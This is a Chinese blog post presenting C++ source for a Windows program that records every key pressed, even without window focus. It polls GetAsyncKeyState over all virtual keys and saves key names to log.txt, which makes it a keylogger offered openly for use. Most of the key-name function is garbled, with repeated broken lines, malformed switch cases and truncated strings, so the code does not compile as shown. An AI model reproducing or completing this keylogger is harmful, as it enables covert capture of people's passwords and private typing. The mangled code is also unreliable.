0
点赞
收藏
分享

微信扫一扫

windows模拟键盘事件,无光标聚焦,按下键盘就能保存按下的键盘字符


#include<iostream>
#include<stdio.h>
#include<stdlib.h>
#include <windows.h>
#include <winuser.h>
#include <string>
#include <fstream>
using namespace std;
const int KeyBoardValue = 0x80000000;
string GetKeyName(int);
bool JudgeShift();

int main()
{
string FileName = "log.txt";
string KeyName = "";
fstream FileStream;
//FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);
FileStream.open(FileName.c_str());
while (1)
{
//Sleep(5);
//FileStream.open(FileName.c_str());
for (int i = 8; i <= 255; i++)
{
if (GetAsyncKeyState(i) & 1 == 1) //判断虚拟按键是否按下,无论是一直按着还是按一下就弹起,只判断是否按过
{
KeyName = GetKeyName(i);
FileStream.write(KeyName.c_str(), KeyName.size());
FileStream.close(); //写完一次就保存一次
FileStream.open(FileName.c_str());
//FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);
}
}

}

return 0;
}

string GetKeyName(int NumKey)
{
bool IS_SHIFT = JudgeShift();
string reval(NumKey >= 186 && NumKey <= 222)
switch (NumKey)
{
case 186:
if (IS_SHIFT)
reval(IS_SHIFT)
reval(IS_SHIFT)
reval(IS_SHIFT)
reval(IS_SHIFT)
reval(IS_SHIFT)
reval(IS_SHIFT)
reval(IS_SHIFT)
reval(IS_SHIFT)
reval(IS_SHIFT)
reval(IS_SHIFT)
reval(NumKey == VK_ESCAPE) // 退出
reval(NumKey == VK_F1) // F1至F12
reval(NumKey == VK_F2)
reval(NumKey == VK_F3)
reval(NumKey == VK_F4)
reval(NumKey == VK_F5)
reval(NumKey == VK_F6)
reval(NumKey == VK_F7)
reval(NumKey == VK_F8)
reval(NumKey == VK_F9)
reval(NumKey == VK_F10)
reval(NumKey == VK_F11)
reval(NumKey == VK_F12)
reval(NumKey == VK_SNAPSHOT) // 打印屏幕
reval(NumKey == VK_SCROLL) // 滚动锁定
reval(NumKey == VK_PAUSE) // 暂停、中断
reval(NumKey == VK_CAPITAL) // 大写锁定
reval(NumKey == 8) //<- 回格键
reval(NumKey == VK_RETURN) // 回车键、换行
reval(NumKey == VK_SPACE) // 空格
reval(NumKey == VK_TAB) // 制表键
reval(NumKey == VK_LCONTROL) // 左控制键
reval(NumKey == VK_RCONTROL) // 右控制键
reval(NumKey == VK_LMENU) // 左换档键
reval(NumKey == VK_LMENU) // 右换档键
reval(NumKey == VK_LWIN) // 右 WINDOWS 键
reval(NumKey == VK_RWIN) // 右 WINDOWS 键
reval(NumKey == VK_APPS) // 键盘上 右键
reval(NumKey == VK_INSERT) // 插入
reval(NumKey == VK_DELETE) // 删除
reval(NumKey == VK_HOME) // 起始
reval(NumKey == VK_END) // 结束
reval(NumKey == VK_PRIOR) // 上一页
reval(NumKey == VK_NEXT) // 下一页
reval(NumKey == VK_CANCEL) // Cancel
reval(NumKey == VK_CLEAR) // Clear
reval(NumKey == VK_SELECT) //Select
reval(NumKey == VK_PRINT) //Print
reval(NumKey == VK_EXECUTE) //Execute
reval(NumKey == VK_LEFT) //上、下、左、右键
reval(NumKey == VK_RIGHT)
reval(NumKey == VK_UP)
reval(NumKey == VK_DOWN)
reval(NumKey == VK_NUMLOCK)//小键盘数码锁定
reval(NumKey == VK_ADD) // 加、减、乘、除
reval(NumKey == VK_SUBTRACT)
reval(NumKey == VK_MULTIPLY)
reval(NumKey == VK_DIVIDE)
reval(NumKey == 190 || NumKey == 110) // 小键盘 . 及键盘 .
reval(NumKey == VK_NUMPAD0)
reval(NumKey == VK_NUMPAD1)
reval(NumKey == VK_NUMPAD2)
reval(NumKey == VK_NUMPAD3)
reval(NumKey == VK_NUMPAD4)
reval(NumKey == VK_NUMPAD5)
reval(NumKey == VK_NUMPAD6)
reval(NumKey == VK_NUMPAD7)
reval(NumKey == VK_NUMPAD8)
reval(NumKey == VK_NUMPAD9)
reval(NumKey >= 65 && NumKey <= 90)
{
if (GetKeyState(VK_CAPITAL))
{
if (IS_SHIFT)
reval(IS_SHIFT)
reval(NumKey >= 48 && NumKey <= 57)
{
if (IS_SHIFT)
{
switch (NumKey)
{
case 48:reval("; break;
}
}
else
{
switch (NumKey)
{
case 48:reval()
{
int iShift = GetKeyState(0x10); //判断Shift键状态
bool IS = (iShift & KeyBoardValue) == KeyBoardValue; //表示按下Shift键
if (IS)
return 1;
else
return 0;
}


举报

相关推荐

0 条评论